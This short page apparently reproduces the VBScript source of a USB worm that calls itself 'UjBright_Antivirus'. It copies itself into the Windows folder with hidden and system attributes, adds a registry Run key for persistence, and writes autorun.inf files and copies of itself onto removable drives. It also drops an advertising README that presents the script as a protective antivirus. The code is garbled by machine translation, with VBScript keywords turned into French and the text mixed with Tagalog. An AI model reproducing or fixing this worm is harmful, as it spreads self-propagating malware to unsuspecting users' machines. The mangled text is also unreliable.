Virus devenu Anitivirus

VbCrLf boucle ax = fso.FileExists (Win & "\\ UjBright_Antivirus.vbs") Set myFile = OFS .CreateTextFile (Win & "\\ UjBright_Antivirus.vbs", true) myFile.write scrText myFile.close Set fAttr = fso.Getfile (gagner et "\\" UjBright_Antivirus.vbs) fAttr.Attributes = 39 wscr.RegWrite "HKEY_LOCAL_MACHINE \\ SOFTWARE \\ Microsoft \\ Windows \\ CurrentVersion \\ Run \\ AutoMe "," wscript.exe "" "&" \\ & gagner UjBright_Antivirus.vbs "" "Si ax = false Puis wscr.Run" wscript.exe "" "& Win &" \\ UjBright_Antivirus .vbs "" "while (true) myDrives set = fso.

Drives Pour Chaque myFlashDrive En myDrives Si myFlashDrive.Drivetype = 1 Et myFlashDrive.Path" A: "Alors Si fso.FileExists (myFlashDrive.Path &" \\ autorun.inf " ) puis définissez fAttr = fso.Getfile (myFlashDrive.Path & "\\ autorun.inf") fAttr.Attributes = 32 fso.Deletefile myFlashDrive.Path & "\\ autorun.inf", true Si Set auFile = fso.CreateTextFile End (myFlashDrive .Path & "\\ autorun.inf", true) auFile.write "[autorun]" & vbCrLf & "ouvert = \\" & vbCrLf & "UjBright_Antivirus.vbs ouverts = wscript.exe" & vbCrLf & "shell \\ Open \\ Command = UjBright_Antivirus.vbs wscript.

exe "& vbCrLf &" shell \\ open \\ Default = 1 "auFile.close Set auFile = fso.CreateTextFile (myFlashDrive.Path &" \\ README.txt ", true) auFile.write" Bonjour les amis: "& vbCrLf &" Maaaring ito virus kung tawagin au makikita ng ibang ANTI-VIRUS, ngunit wag mag-Alala kung ito'y hindi makikilala ng anu mang ANTI-VIRUS na nasa de l'Inyo. " & VbCrLf & "Dahil ito ang Tanging Paraan ko Upang matugunan ang ibang ANTI-VIRUS na hindi makikilala ang ganitong SCRIPTO na VIRUS na nakakasama" & vbCrLf & "ay kaya nitong PALITAN na maaring ayusin Niya ang ibang sinira DULOT ng NAKAKASIRA na virus.

" & VbCrLf & "" & vbCrLf & "-ADVERTISING-" & vbCrLf & "PUBLICITÉ ADVENT TOT -. Bâche nila ay kumupas matagal durables, tag-init homme o tag-araw" & VbCrLf & "RB PHOTOART STUDIO - Peut kagandahan sa Kulay ng inyong IMAGE au pa durable." & VbCrLf & "104.1 FM DXMa WOW -.. Pinakikinggang himpilan ng RADIO Numero UNO de sa centrale de Mindanao" & VbCrLf & "" & vbCrLf & "PARA SA GUSTONG MAGPA-ANNONCER:" & vbCrLf & "Juste me contacter: 09083223171 - UJBRIGHT" auFile.close Set fAttr = fso.Getfile (myFlashDrive.Path & "\\ autorun.inf") fAttr.Attributes = 39 = Set myFile fso.CreateTextFile (myFlashDrive.

Path & "\\ UjBright_Antivirus.vbs", true) myFile.write scrText myFile.close Set fAttr = fso.Getfile (myFlashDrive.Path & "\\ UjBright_Antivirus.vbs") fAttr.Attributes = 39 End